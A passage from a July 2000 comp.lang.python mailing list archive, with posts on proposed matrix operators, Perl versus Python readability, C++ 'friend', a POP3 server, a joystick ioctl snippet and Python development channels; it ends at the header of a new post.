    Les Smithson releases Pymqi, a wrapper for IBM's Messaging &
    Queueing middleware
        http://www.hare.demon.co.uk/pymqi/pymqi.html

    Eric Lee Green discusses his experience with PostgresQL:
        http://www.deja.com/getdoc.xp?AN=640103959&fmt=text

    Richard Offer posts slashbox.py, "a quick hack of a class to
    get and format news stories from a number of sites."
        http://www.deja.com/getdoc.xp?AN=644098458.1&fmt=text


========================================================================

Everything you want is probably one or two clicks away in these pages:

      Python.org's Python Language Website is the center of Pythonia
          http://www.python.org

      eff-bot's complements this digest with his daily python url
          http://hem.passagen.se/eff/url.htm

      Much of Python's real work takes place on Special-Interest Group
          mailing lists http://www.python.org/sigs/

      Python Consortium emerges as an independent nexus of activity
          http://www.python.org/consortium

      The Vaults of Parnassus ambitiously collects Python resources
          http://www.vex.net/~x/parnassus/   

      Python FAQTS
          http://python.faqts.com/

      Python To-Do List anticipates some of Python's future direction
          http://www.python.org/cgi-bin/todo.py

      Python Journal is at work on its second issue
          http://www.pythonjournal.com

      Links2Go is a new semi-automated link collection; it's impressive
      what AI can generate
          http://www.links2go.com/search?search=python

      Archive probing trick of the trade:
          http://www.dejanews.com/dnquery.xp?QRY=&DBS=2&ST=PS&defaultOp=AND&LNG=ALL&format=threaded&showsort=date&maxhits=100&groups=comp.lang.python


Previous - (U)se the (R)esource, (L)uke! - messages are listed here:
  http://purl.org/thecliff/python/url.html
or
  http://www.dejanews.com/dnquery.xp?QRY=~g%20comp.lang.python%20Python-URL%21


Suggestions/corrections for next week's posting are always welcome.
[http://www.egroups.com/list/python-url-leads/ is hibernating.  Just
e-mail us ideas directly.]

To receive a new issue of this posting in e-mail each Monday morning,
ask <claird at neosoft.com> to subscribe.  Mention "Python-URL!".


-- The Python-URL! Team--

Dr. Dobb's Journal (http://www.ddj.com) is pleased to participate in and
sponsor the "Python-URL!" project.
-- 

Cameron Laird <claird at NeoSoft.com>
Business:  http://www.Phaseit.net
Personal:  http://starbase.neosoft.com/~claird/home.html


From moshez at math.huji.ac.il  Fri Jul 14 11:53:11 2000
From: moshez at math.huji.ac.il (Moshe Zadka)
Date: Fri, 14 Jul 2000 18:53:11 +0300 (IDT)
Subject: Why make a language case sensitive?
In-Reply-To: <000801bfeda1$fcd99a20$6cb745c6@timaratz>
Message-ID: <Pine.GSO.4.10.10007141852010.20449-100000@sundial>

On Fri, 14 Jul 2000, Peter Timaratz wrote:

> I can't think of any advantages to a case sensitive language. Python is a
> very well-designed language though, so I imagine there is a good reason that
> it is case sensitive. So what are the advantages of a case sensitive
> language?

Not having to deal with abominations like

class DoSomething:

	def some_method(self):
		pass

a = dosomeThinG()
a.soME_mEThod()

--
Moshe Zadka <moshez at math.huji.ac.il>
There is no GOD but Python, and HTTP is its prophet.
http://advogato.org/person/moshez




From hzhu at localhost.localdomain  Sat Jul 15 00:29:09 2000
From: hzhu at localhost.localdomain (Huaiyu Zhu)
Date: Sat, 15 Jul 2000 04:29:09 GMT
Subject: Discussion: Introducing new operators for matrix computation
References: <slrn8mpi53.sh.hzhu@rocket.knowledgetrack.com> <396E160D.272C0C34@roguewave.com> <slrn8msd14.sj.hzhu@localhost.localdomain> <396E444D.496234AC@roguewave.com> <slrn8mso2i.sj.hzhu@localhost.localdomain> <396F76F0.1B451932@sage.att.com>
Message-ID: <slrn8mvqbe.12e.hzhu@localhost.localdomain>

On Fri, 14 Jul 2000 20:24:16 GMT, Garry Hodgson <garry at sage.att.com> wrote:
>
>but outside of this thread, we've seen no great outcry of python
>users bemoaning the lack of cryptic operators.  changing the language
>for this specific domain is not a good idea.  putting in new operators
>because they might be usefully overloaded for other specific domains
>is little better.
>

That's the beauty of numerical computation, because all kinds of
applications, from animation on your screen to controlling satallite in
space to analysing molecular structures to calculating consumer preference
could all be expressed in the language of linear algebra.  (Mathematicians
study spaces more abstract than linear spaces, but you wouldn't want to hear
about them before appreciating the usefulness of linear algebra.) For
example, all deterministic procedures are functions, and most functions we
see are simply points in an (infinite dimensional) space.

If there were no expression of strings like in "a string", you would find
that outside a thread about string literals, there was no great outcry of
users bemoaning the lack of cryptic quote symbols.  Certainly you woudn't
hear people discuss http module or regular expression or anything like that.
Actually, under that kind of condition most of text processing crowd
wouldn't even be here, and most people here would definitely regard text
processing as a specific domain, which it actually is.

you-need-at-least-some-basic-tools-before-doing-much-useful-things-ly yr's

Huaiyu


From stephen at cerebralmaelstrom.com  Thu Jul  6 18:51:10 2000
From: stephen at cerebralmaelstrom.com (Stephen Hansen)
Date: Thu, 06 Jul 2000 22:51:10 GMT
Subject: Public Key Encryption?
Message-ID: <y3895.115843$WS3.1010710@typhoon.we.rr.com>

    I've discovered that I have the desire to 'secure' the communications
between different portions of my application. After looking around, the only
things available that I found were (awk/mx)Crypto, which sit on top of
SSLeay and/or OpenSSL. They are all fine and dandy, but on the webpages at
least, they don't list the capability to handle Public Key Encryption. I
only see symetric encryption algorithms listed.

    I glanced, briefly, at Pisces, but it seems to be overkill, if it would
apply at all. Didn't look too closely.

    Is there any wrappers/implementations of a Public Key system in python?
I was idly thinking about either wrapping the PGP dll's that Network
Associates puts out, or just the portions of the
(on-the-web-appearing-less-nicely-documented) OpenSSL package that I need.

Thanks,

--Stephen




From matt at mondoinfo.com  Sun Jul 23 23:59:09 2000
From: matt at mondoinfo.com (Matthew Dixon Cowles)
Date: Sun, 23 Jul 2000 22:59:09 -0500
Subject: POP3 server in Python?
References: <7ijmnsc8u9qeg1h8rjbr77k2085kqktgq5@4ax.com>
Message-ID: <230720002259090735%matt@mondoinfo.com>

In article <7ijmnsc8u9qeg1h8rjbr77k2085kqktgq5 at 4ax.com>, John Lull
<lull at acm.org> wrote:

> I find myself in need of a simple POP3 server written in Python.  It
> does *not* need to handle multiple clients at one time, and
> performance is not an issue.  Anyone know if one's available?

John,
Yes, there is one. In fact, there are probably at least two since I
seem to recall a post here a while ago in which someone said that he
had a POP server and maybe something else running under Sam Rushing's
cool async modules.

I have one that's part of a bunch of stuff that I've been experimenting
with. It's distinctly not ready for prime time and some of the other
stuff in the package has already been superseded. I had meant to make
it public when it was a little more mature but that won't be for a
while. The only documentation is the code and it's a good thing that
performance isn't an issue for you since it's meant to be run under
[x]inetd. Oh, and it only works with Maildirs. It may be very slightly
more useful to you than nothing at all, so I've just stuck a GPL in the
directory, tarred it up, and uploaded it to

http://www.visi.com/~mdc/mondomail.tar.gz

If you find bugs, I'd be glad to know about them.

Regards,
Matt


From jbyork at iglou.com  Sun Jul 16 00:22:33 2000
From: jbyork at iglou.com (Jonathan B. York)
Date: Sun, 16 Jul 2000 00:22:33 -0400
Subject: reading joystick info
Message-ID: <39713889.E652D3DC@iglou.com>

Hi,

I have a simple little C program that gets the "name" of the device at
/dev/js0.  I would like to know if it is possible to do this in Python.
I've seen that there is code for joysticks with PySDL, but I just want
this simple function and don't want to bother with all that.


This is what the C program does:

#include <sys/ioctl.h>
#include <stdio.h>
#include <fcntl.h>
#include <linux/joystick.h>

#define NAME_LENGTH 128

int main (int argc, char **argv)
{
        int fd;
        char name[NAME_LENGTH] = "Unknown";

        if ((fd = open(argv[argc - 1], O_RDONLY)) < O) {
                perror("jstest");
                exit(1);
        }

        ioctl(fd, JSIOCGNAME(NAME_LENGTH), name);

        printf("Joystick -> %s", name);
}


If anyone has any advice, I'd really appreciate it.  :)


Thanks in advance,

jonathan



From thomas at xs4all.net  Wed Jul  5 18:25:11 2000
From: thomas at xs4all.net (Thomas Wouters)
Date: Thu, 6 Jul 2000 00:25:11 +0200
Subject: readline.c & more
In-Reply-To: <3963C85D.3924126C@stud.ntnu.no>; from petersc@stud.ntnu.no on Wed, Jul 05, 2000 at 11:44:29PM +0000
References: <Pine.LNX.4.21.0007052214190.4947-100000@krispc6.physik.uni-karlsruhe.de> <3963C85D.3924126C@stud.ntnu.no>
Message-ID: <20000706002510.F13478@xs4all.nl>

On Wed, Jul 05, 2000 at 11:44:29PM +0000, Peter Schneider-Kamp wrote:

> Johannes Zellner wrote:

> >  ?) I modified Modules/readline.c so that it allows reading and
> >     writing of a history file. I also plan to implement readline
> >     functions as `stifle history'. Eventually I'd also add the
> >     possiblity to register a script completer which would be
> >     called before the builtin completers. My question about
> >     this: where would I post patches ? -- I've an account on
> >     SF for other projects, but as this is my first mail to the
> >     list I'd understand if you won't trust me ;-)

> mailto:patches at python.org
> for more details check out http://www.python.org/patches

Actually, SourceForge is now preferred over patches at python.org.
http://www.python.org/patches also reflects this, by the way ;) Looking at
the number of patches that were submitted (mostly backlog) and processed, I
believe the SF patch manager is working out reasonably OK, even if it has
some oddities. Then again, I only submit the odd patch, dont apply them
myself ;)

Additionally, I think Skip Montanaro (skip at mojam.com) is also working on
making readline/rlcompleter write a history file, though I don't know if
calling external scripts is on his wishlist. You might want to coordinate
with him.

> >  ?) Is there a forum for developers? This list seems more for
> >     users isn't it ?

> there is. but it's hard to get in (still trying). the mailing
> list python-dev is probably what you are looking for.

python-dev at python.org and patches at python.org are both invite-only, but the
archives are public (and they're up to date again, too :):

http://www.python.org/pipermail/python-dev
http://www.python.org/pipermail/patches

If you want to talk shop about a patch you wrote, and you don't feel
confident enough to upload it to SourceForge, python-dev at python.org is the
right email address. Unless there is an active SIG or such on the subject,
of course.

-- 
Thomas Wouters <thomas at xs4all.net>

Hi! I'm a .signature virus! copy me into your .signature file to help me spread!



From aahz at netcom.com  Thu Jul 20 09:38:13 2000
From: aahz at netcom.com (Aahz Maruch)
Date: 20 Jul 2000 13:38:13 GMT
Subject: merge (Re: zip or marry etc)
References: <20000718100813.C21354@newcnri.cnri.reston.va.us> <39763FF4.2CA5BF75@schneider-kamp.de> <8l59pa$6ff$1@slb1.atl.mindspring.net> <slrn8nd7s8.gtf.scarblac-spamtrap@flits104-37.flits.rug.nl>
Message-ID: <8l6vc5$c07$1@slb6.atl.mindspring.net>

In article <slrn8nd7s8.gtf.scarblac-spamtrap at flits104-37.flits.rug.nl>,
Remco Gerlich <scarblac-rt at pino.selwerd.nl> wrote:
>Aahz Maruch wrote in comp.lang.python:
>>
>> I think I was insufficiently clear: in addition to "zip" having a known
>> meaning, it does not have any connotation in computer terms of combining
>> data that I've ever seen.  Yeah, if you want to call it "zipper", I
>> might almost see your point.
>
>The function zip as proposed (combine two lists into a list of pairs)
>is straight from Haskell (and other functional languages) just like map
>and filter. I think zip is the obvious name.

Ah.  Hmmmm....  Well, then, I guess I withdraw my objections to zip.
I'd still prefer something else, but....
--
                      --- Aahz (Copyright 2000 by aahz at netcom.com)

Androgynous poly kinky vanilla queer het    <*>     http://www.rahul.net/aahz/
Hugs and backrubs -- I break Rule 6

Q:  In a lesbian relationship, who decides who gets to be the man?
A:  It's two women.  There is no man.  That's the point.


From olipt at mayo.edu  Fri Jul 21 10:11:36 2000
From: olipt at mayo.edu (Travis Oliphant)
Date: Fri, 21 Jul 2000 09:11:36 -0500
Subject: Discussion: new operators for numerical computation
In-Reply-To: <m3u2dj7q3s.fsf@chinon.cnrs-orleans.fr>
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <8l6vul$5ig$1@slb3.atl.mindspring.net> <x83HMXAHJxd5EwAj@jessikat.fsnet.co.uk> <m2n1jcooct.fsf@spiff.home.com> <39772612.CE635178@fft.be> <8l7c80$mlc$1@tomm.stsci.edu> <39777941.1A85F3CA@STScI.Edu> <slrn8nf2it.rb.hzhu@localhost.localdomain> <m3u2dj7q3s.fsf@chinon.cnrs-orleans.fr>
Message-ID: <Pine.LNX.4.10.10007210908260.19148-100000@us2.mayo.edu>

> The cleanest concept (in my opinion) is the one implemented in J,
> where an array has (conceptually) a "data rank" and a "value rank",
> the sum of the two being the rank, i.e. the number of indices. For
> example, an array of rank 3 could be interpreted as a list of matrices
> (data rank 1, value rank 2), as a matrix of vectors (data rank 2,
> value rank 1), or as a 3-d array of scalars (data rank 3, value rank
> 0). In J the data and value ranks are not properties of the arrays,
> but of the operators, whose value rank can be modified. In the early
> days of NumPy development, I proposed this model for NumPy as well,
> but there was no majority for it. And I agree that there are not so
> many practical cases where this mechanism is necessary. However,
> it nicely illustrates how one would extend vector and matrix operations
> to higher-dimensional data.

I like this idea also.  Would you suggest changes to the syntax so that
infix operators can have ranks?  It could also be handled by functions
(add, mul, etc..) or methods which return a subclass of the N-D Array
which does the right thing when it sees the standard operator.  I vaguely
remember reading about this proposal.  I didn't notice that much
disagreement, but I don't think I ever saw any code.

-Travis



From huaiyu_zhu at yahoo.com  Tue Jul 18 15:57:26 2000
From: huaiyu_zhu at yahoo.com (Huaiyu Zhu)
Date: Tue, 18 Jul 2000 12:57:26 -0700 (PDT)
Subject: Matlab vs Python (was RE: Discussion: Introducing new operators
 for   matrix computation)
In-Reply-To: <Pine.GSO.4.10.10007180902470.8058-100000@sundial>
Message-ID: <Pine.LNX.4.10.10007181130520.9411-100000@rock.localdomain>

On Tue, 18 Jul 2000, Moshe Zadka wrote:
[snip: a long python code and short perl equivalent]

> It's more verbose, and people are able to understand it without learning
> weird corners of the language. (BTW: as a former Perl hacker, I find the
> Perl code *extremely* readable, and I spend more time understanding the
> Python code. But that doesn't change the fact that Perl took me longer to
> master then Python, and even then I didn't really understand Perl. For
> example, could I lose the ";" in the Perl code? I think so, but I'm not
> sure)
> 

Ok, since the issue of additional binary operators has been repeatedly
compared with various features of Perl that people dislike, without much
details, it might be worthwhile to give it some more thoughts here.  We've
already seen that the "it has a small userbase" argument is largely vacuous.
I hope to show "it is like Perl" argument is also of similar nature.

So let me first describe what I dislike Perl.  The best I can summarize
include these aspects:

1. There are many special syntax zones: 
- The formats
- The here document
- The regular expressions
- Things within ${...}, @{...}, %{...}, etc
- trailing if, unless, etc
- file handling
- BEGIN {...} END {...}
- some other things that doesn't come to mind :-)

I say special syntax zone instead of special syntax constructs because these
things do not really have their own scope.  They are not atomic.  For
example, you can have different levels of variable substitution within
regular expressions.

The disadvantage of this is that these things really all live in a larger
scope but they still play by their own rules.  You have to switch your
mental context going from one zone to the other.

In contrast, python has very few special syntax zones.  For example, a
string literal has its own rule, whether it is used for formats, multiline
strings or regular expression.  They interact only through given interface,
like as arguments or return values of a function.  If you can use multiline
string in print statements, you can also use it elsewhere string is used.

2. The scope, precedence and context of the special zones vary greatly:
- It is hard to know where do $_, $1, etc get values
- regular expression can be like s/2+3/t+1/g, which is also valid math
  formula.  
- evaluation of rhs of assignment also depend on the context coming from
  lhs: list or scalar.  The whole thing can be part of expression.
- classes defined with package statement with silly scoping rules.
- print<<<EOF is a delimiter that doesn't work everywhere.
- You can't just substitute a name with its content. For example, @a is an
  array but its element is denoted $a[0]. Therefore only a is the name. But
  %a can be a completely different thing. 
- many other things that doesn't come to mind.

The disadvantage is that not only it requires to switch mental context, but
it make it difficult to figure out exactly which one to switch to, when.

In contrast, in python almost everything can be assigned to a name.  You can
substitute a name with its contents almost everywhere.  Scoping is simple.

3. There are too many magic variable and other hooks:
- The $_ $\, etc changes all aspects of both syntax and semantics.  You have
  to keep them all in mind to understand current code.
- Many magic things are invisible and automatic.  Even if you do not set
  them, you still need to remember all the defaults.
- name globbing using *var puts unrelated things that happen to share a
  name (array, hash, file handle, etc) together.
- many other things that I don't even know.

The disadvantage is that you also need to keep all the implicit things in
mind when reading code.

In contrast, python has very little implicit things.  The only magic things
are almost always given as methods of the form __iamspecial__.


If I could summarize the above I would say that the main disadvantage of
Perl is it has too much interdependencies so you either understand the whole
program or you don't understand at all.  It may be great for short programs
but terrible for large programs.

There is also a perception that Perl has too many special symbols that makes
Perl code look like line noise.  However, if we look carefully, the fault of
special symbols is not that they are non-alphanumeric, but that they
introducing scoping rules.  You have to really think hard to decipher the
scoping of things like @{$a->{$b}}[2].  (Sorry if it is wrong - I'm forgetting
how to make it right now.)


Now back to our topic.  Which aspect of the new operators look like Perl?
1. They do not introduce a special syntax zone.  Or if you insist, they
   introduce special zones of two characters.
2. They do not have any ambiguity of scoping, precedence and context. They
   obey exactly the same rules of the old operators.  They always appear
   between two objects, and produce a new object.  The operations do not
   depend on context other than precedence.
3. There are no more magic things than the definition __dotmul__ etc that
   associates the symbol with method name, just like other operators do.

There might be an argument that special characters are hard to read.  As I
said, they are hard to read mainly because of their magical effects.
Operator names have even less such effects than the familiar python
constructs like quote, bracket, colon and indentation.  Of course if it gets
too long like @#$% it will be causing readability problem of its own.  I
don't think we are going that route if they are defined within each module
through __methodname__.

In contrast, several of proposals for avoiding the new operators do look to
me like introducing special syntax zone delimited by various combination of
arcane combination of symbols.

I see the new operators as introducing absolutely no long range
interdependencies other than reusing existing operator precedence. 

I hope this clarifies some issue concerning just how special are these new
operators.  If there are examples comparing them with proposed special
syntax rules for xml, sql etc, please describe what they are, what they are
for, why they are not good, why the alternative is better, and what aspects
can summarize the comparison.  I'm sure we'd all be wiser after reading
those.

Huaiyu




From shindich at my-deja.com  Thu Jul 13 15:45:20 2000
From: shindich at my-deja.com (shindich at my-deja.com)
Date: Thu, 13 Jul 2000 19:45:20 GMT
Subject: determining type
References: <396e07fd@news-out>
Message-ID: <8kl68a$uln$1@nnrp1.deja.com>

In article <396e07fd at news-out>,
  "Mike Mikkelsen" <mikk at microbsys.com> wrote:
> Hello All,
>
> Is there a way, programmatically,  to determine if an item in a
dictionairy is itself a dictionairy?
>
> consider:
> >>>   a = {'item1': 'hello', 'item2':{'subitem1':'goodbye'}}
> >>>   print a['item2']['subitem1']
> goodbye
>
> Is there a way to tell if 'item2' is a dictionairy, list or simple
value like 'item1'?
>
> TIA
>
> --
> Mike Mikkelsen                   mikk at microbsys.com
> Micro Business Systems         http://microbsys.com
> Fresno Linux Users Group  http://linux.fresno.ca.us
>
>                  It's all GNU to me!
>
>
Try this:
	if type (a['item2']) == type ({}):
		print 'It\'s a dictionary'
	else:
		print type (a['item2'])

I hope this helps!

Alex Shindich
http://www.shindich.com/


Sent via Deja.com http://www.deja.com/
Before you buy.


From kpmurphy at my-deja.com  Wed Jul  5 15:08:51 2000
From: kpmurphy at my-deja.com (Keith Murphy)
Date: Wed, 05 Jul 2000 19:08:51 GMT
Subject: Grid Geometry Manager and grouping?
Message-ID: <8k013q$lon$1@nnrp1.deja.com>

i've found that i like grid the best.  is there a way to group sections
of the window together... like the left side is for one purpose and the
right for another?  I have been playing with frames to no avail.

i really appreciate all the help this ng has given me thus far in
learning python.  kudos to all of you!

-->keith


Sent via Deja.com http://www.deja.com/
Before you buy.


From mbaker at 0x7a69.net  Thu Jul 27 00:58:47 2000
From: mbaker at 0x7a69.net (Mark Baker)
Date: Wed, 26 Jul 2000 23:58:47 -0500
Subject: Python is wierd!
References: <8lj7kr$ttc$1@nnrp1.deja.com> <8ljrvu09t6@news1.newsguy.com> <l8rf5.1529$ck7.387235@nntp1.onemain.com> <8lma5602i08@news1.newsguy.com> <SQGf5.5281$c04.627774@nntp2.onemain.com> <8lnrpk0qoc@news1.newsguy.com>
Message-ID: <65Pf5.329$SM4.36312@nntp2.onemain.com>

In article <8lnrpk0qoc at news1.newsguy.com>, "Alex Martelli"
<alex at magenta.com> wrote:
> "Mark Baker" <mbaker at 0x7a69.net> wrote in message
> news:SQGf5.5281$c04.627774 at nntp2.onemain.com...
>     [snip]
>> >> friend is simply an evil way of violating encapsulation. It's not
>> > analogous to
>> >
>> > Absolutely false, although people with a superficial understanding of
>> > C++ do tend to think that way.  The proper use of 'friend' is to
>> > split an encapsulated, cohesive functionality among more than one
>> > class,
>> > *because the class is NOT the natural unit of encapsulation*.  friend
>     [snip]
>> I've been writing in C++ for many years now, but this isn't a matter of
>> who has a larger penis...
> 
> Clearly not: it is a matter of who is right, and who is wrong, about a
> specific technical issue: is "friend", in C++, "simply an evil way of
> violating encapsulation", as you say, or is it rather a way to correctly
> partition the functionality of one component among more than one class,
> as I say?

Firstly, let me apologize for not doing an entire line-by-line analysis of
everything you've said. This post is most large, and I simply do not have
the willpower to cover each and every one of your blocks, especially when
you take so much of my context in a purely C++ light. If you care to "win"
that much, telle est la vie. ;-) Consider this elaboration and context
determination. I will try to touch a bit on your important statements, if
possible.

I think, perhaps, I unintentionally downplayed my reference of other
languages in terms of looking at the decisions of C++, like friend. I am
looking at friend not from within C++, but from within an abstract view of
what it does. If you would like me to specialize on a strict languages,
then I will, but friend is still broken. I'll not specialize on C++
entirely, since other languages provide this functionality better.

friend is practical for many things in C++, especially given  its
framework. It's most useful in containers, as you mentioned.

I would call friend evil, and consider it an encapsulation violation. For
a strict language, you might expect some sort of coupling that violates
encapsulation a little, friend is a bit like a hammer. Friend should not
be necessary in an elegant language or design, but what is good is
relative. If you want the feeling of safety provided by extended
encapsulation concepts, Modula, Oberon, and Eiffel might be good. If
you're only concerned with a certain amount of safety, Dylan is good.
These languages are a bit wordy, syntax-wise, but their feature and design
sets are good. Otherwise Smalltalk and Python are excellent. This is all
my biased opinion, however, and detracts a bit from friend. ;-)

It's also misused (of course this can be said for many features of many
languages... this was a minor sub-point...consider it dropped).

However, "encapsulation" exists independently of any one language. This,
perhaps, becomes a problem when languages take their own concepts of
encapsulation. For me, the unit of encapsulation is the object. Whether
this displays itself at a class level (assuming the language has
classes...) is relative.

If you enjoy calling a series of coupled classes a component, alright. If
you'd like to move encapsulation away from an object and instead attribute
it to a collection of classes, ok.

In the context of requiring some form of coupling between classes, but not
at a level of seeing a series of classes as a "component" let me comment a
little on friend...

Do you think it violates encapsulation to allow unfettered access to a
class's content? I surmise not, provided that you're refering to coupled
classes or specific functions outside of a class.

Would you suggest that this is safe to provide access to the contents,
without any interface constraints? That is, being able to manipulate
instances, instead of just access private methods?

Would you consider it better to provide fine grained access? That is,
access to specific portions of a class, than to allow unrestrained access?
Or do you think that because this isn't a violation to couple a
class/function, that such granularity is unnecessary? Would this possibley
lead to more correct code in your opinion?

Have you ever used Eiffel? Perhaps you've seen a snippet like

feature { ACLASS }
	blah(stuff : INTEGER) is
		do
			something := stuff
		done

Would you still consider friend a needless violation, seeing this
constraint? If the goal is safety, is 'friend' not evil in comparison?

> As it happens, one B. Stroustrup appears to share this opinion, in as
> much as he wrote, for example, in the Annotated C++ Reference Manual, "A
> friend is as much a part of the interface of a class as a member is". 
> Saying that friends are evil and break encapsulation is therefore just
> about as silly as saying that member functions do so; they are BOTH
> parts of the class's interface, so why single out one over the other as
> "evil" &c?

A public method is a specified interface for an object. Using an object's
interface doesn't allow it to access implementation and private
information.

Allowing a class or function 'friend' status allows it intimate access to
the contents of an object. Taking the stance that another class is
entirely part of another class, and considering this 'safe' is silly. If
you take the stance that you need to strictly restrict access to a class,
you must also mean coupled access as well.

I don't imagine that you would utilize implementation details where they
are unecessary within the class itself, to promote safety, since you claim
to be such a good designer and especially C++ programmer. You do not trust
the programmer, nor the class instances themselves to rely on the
implementation. So why exactly would you give total access to your class
from a foriegn class? Because you couple them and call it a component? Why
is a coupled class given access to methods it won't use?

 
> How do you propose that the component's semantics, "every
> 'creation' of X MUST occur through a call to Factory's
> methods, every 'destruction' of X MUST occur through yet another set of
> such methods", be enforced "by the accessor/mutator pattern"?  I'll tell
> you: *YOU DON'T*.

Depending the design intent, you could simply use a static factory. Do
request-based caching, and allocate when necessary. All without using
friend.

Or you could listen to your voice inside screaming for reusability, and
provide the factory system as an alternative allocation system, instead of
creating this required constraint. I don't see you doing this, though,
given your reply. ;-)

If you really must fall upon a coupled class, then 'friend', as I've
pointed out above, has been done better. Better than to grant access to
every method, than just those required for allocation/deallocation.

> C++'s approach to encapsulation has its limits, but
> "friend" is DEFINITELY not such a "limit": it is a

Yes, in fact, it is. Even if you wish to look at it from a strict language
perspective. It's been done better.

> crucial ingredient of good large-scale C++ software design.  Have you
> never met such issues in your "many years" of C++ experience?!  Or have
> you let your fetish for letting the class play the inappropriate role of
> unit of encapsulation stand in the way of good design, when faced with
> such issues?  Perhaps not noticing the fact that friends *are* a part of
> a class's interface...?

You've won my "arrogant self-righteous presumptious" argument of the day
award. Good job. Try to be more condescending next time.

Yes, I've used friend in my C++ programming career. I still see that it is
bad in the context of software design, both in terms of strict and and
non-strict

The object, as I said, is my unit of encapsulating an object. If a
language is sufficiently restrictive/broken, this will be violated in any
number of ways. I don't have to 1) like it 2) consider it good design.


>> Friends, if attempted for use as "encapsulation" suffer from issues
> regarding
>> protecting implementation details, in a paradoxial and limitedly
> extendable way.
>> It is rare to be used in this manner.
> 
> Well-designed software is rare.  In well-designed C++ software, however,
> the proper use of 'friend' is QUITE frequent, and suffers from none of
> the ills you claim for it.

I've seen very little well designed software in C++. Some of the better
and open source work are of the quality of things like libsigc++. This
uses friend for a bit of its reference system.

I would not call the use of friend frequent. Where it's used, a more
constrained system would be better.

>> In the real world, people do use friend to violate encapsulation.
> 
> In the real world, there's a lot of horribly designed code, and a lot of
> people who do not understand a too-complex tool well even if they have
> been using it for years.  C++ is arguably too complex for most
> programmers who now use it, and for most uses to which it is put;
> Python's simplicity and straightforwardness are a deep breath of fresh
> air, in comparison, even to somebody who's easily in the top centile in
> terms of knowledge of C++'s arcana.

You can't attribute all of the bad C++ code to its poor design (which lead
to its complexity). A lot of the design issues of C++ projects would still
exist, even if it weren't written written in C++. This is because many
people are either poorly educated in software engineering, or simply not
suited for job of analysis and design.

Of course C++ does lead to some interesting results, such as people that
feel they can't function in a less restrictive shell, people that find
non-C++-like syntax horrible, people that move to other languages and
attempt to program as if they're still using C++, people that are obsessed
with the performance of every line of their software, and people that fail
to ever look back and say 'Wow, that was messed up. I can actually reuse
my code now," or "You mean the language will actually provide real static
typing, and help to ensure its reliability?"

 
> But that does not justify insulting those language features one does not
> understand, rather than either trying to understand them better, or
> giving up the language altogether.
 
How naive to assume I don't understand friend, because I don't like it. I
mention its direct place of common misuse by others (in my experience),
and you assume I've never used friend elsewhere. Tsk tsk. Perhaps, I
should suggest that you shouldn't attempt to play apologist to language
features, when you're ignorant of where they're done better, or why the
problem domain they met is moot. I won't though. I'll simply assume you
prefer things they way they are, and don't think that other methods of
design are better. Even more naive is the assumption that I would "give
up," a language simply because it's not perfect.

Perhaps I'm taking your commentary too seriously, but I find it insulting
that you continually imply my inability to comprehend such a simple
language concept, simply because I've a broad range of experience with
other, more productive concepts.

This discussion has honestly gone on too far, and I don't imagine it
belongs here. comp.lang.misc or comp.lang.c++ seem much better candidates,
but I've no intentions of carrying it further. If you would like be to
clarify more (I was rather vague, before), you can e-mail me and I'll be
more than happy to wax philisophical over C++.

I apologize for creating this line of noise on the newsgroup. Next time
I'll prefix my 'friend' commentary with a ;-) so the C++ zealots won't
send the napalm my way. =P



From hzhu at knowledgetrack.com  Fri Jul 21 21:32:41 2000
From: hzhu at knowledgetrack.com (Huaiyu Zhu)
Date: Sat, 22 Jul 2000 01:32:41 GMT
Subject: Discussion: new operators for numerical computation
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <8l6vul$5ig$1@slb3.atl.mindspring.net> <x83HMXAHJxd5EwAj@jessikat.fsnet.co.uk> <m2n1jcooct.fsf@spiff.home.com> <39772612.CE635178@fft.be> <8l7c80$mlc$1@tomm.stsci.edu> <Pine.LNX.4.10.10007201256340.17820-100000@us2.mayo.edu> <m3zonb7qsf.fsf@chinon.cnrs-orleans.fr>
Message-ID: <slrn8nhuks.qn.hzhu@rocket.knowledgetrack.com>

On 21 Jul 2000 11:53:36 +0200, Konrad Hinsen <hinsen at cnrs-orleans.fr> wrote:

[Excellent points about the need to limit choice of operators, need to avoid
"line-noise" operators, and need to avoid confusions omitted]

>Another point to consider is implementation. In the current Python
>implementation, every operator must be implemented by a special method
>(or subroutine for C types). This can quickly become messy. There are
>other possible arrangements (e.g. all matrix operations could be
>mapped to a.__matrix_op__(b, op_code)), but it is in any case better
>to keep the number of new operators to a minimum.

Is op_code hard coded?  Maybe we need to start an implementation thread soon? 

>For "matrix solve", I propose to follow APL and define it in the sense
>of a least-squares solution, implemented via singular value
>decomposition (SVD). There are two reasons for this:
[snip]

Maybe the algorithm specs should go into the packages instead of operators?
The same algorithm is unlikely to be optimal for all types of matrix
classes, sparse, symetric, tridiagonal, complex, positive definite, etc.  If
these are implemented as subclasses of matrices, should they be allowed to
choose the algorithm?

Huaiyu



From paul at prescod.net  Sat Jul 22 01:09:08 2000
From: paul at prescod.net (Paul Prescod)
Date: Sat, 22 Jul 2000 00:09:08 -0500
Subject: New PEP: Attribute Access Handlers
References: <39791F0C.CDC13E79@prescod.net> <39792795.B5B0D18C@roguewave.com>
Message-ID: <39792C74.E7E3DB2B@prescod.net>

Bjorn Pettersen wrote:
> 
> Justification, Scenario 4:
> 
>    An existing class has a string attribute, however the most common
> operation on it is appending to the end. Through the profiler you find
> that this operation is taking up 95% of the applications time. You want
> to change the implementation to cStringIO for efficiency (total
> execution time for your application goes from 90 seconds to 3 secs).

Actually, I'm not sure if my proposal would help here. Appending to a
cStringIO is not an assignment operation...

> Perhaps you should add a few words about why you chose __attr_XXX__
> instead of __set/get/del_XXX__?  

That was actually the first proposal. But inheritance could get
confusing if you inherited set without get or get without set etc.

> Would both of them work for
> introspection for e.g. a GUI builder? I seem to remember that JavaBeans
> <shudder> looks for the presence of set/get methods to make attributes
> available, I'm not sure if Python could look at an objects __dict__ for
> that information under this proposal?

Interesting question...I think that's not a bad idea, actually. ON the
other hand, Python is so dynamic that there are other (more flexible)
ways that might not work in Java:

class foo:
    k=5
    j=7
    def a(): pass
   ....
    __readonly_properties__=[k,...]
    __readwrite_properties__=[j,...]
   ....

-- 
 Paul Prescod - Not encumbered by corporate consensus
New from Computer Associates: "Software that can 'think', sold by 
marketers who choose not to."



From thomas at xs4all.net  Wed Jul  5 18:46:46 2000
From: thomas at xs4all.net (Thomas Wouters)
Date: Thu, 6 Jul 2000 00:46:46 +0200
Subject: Overloaded Operators allowed???
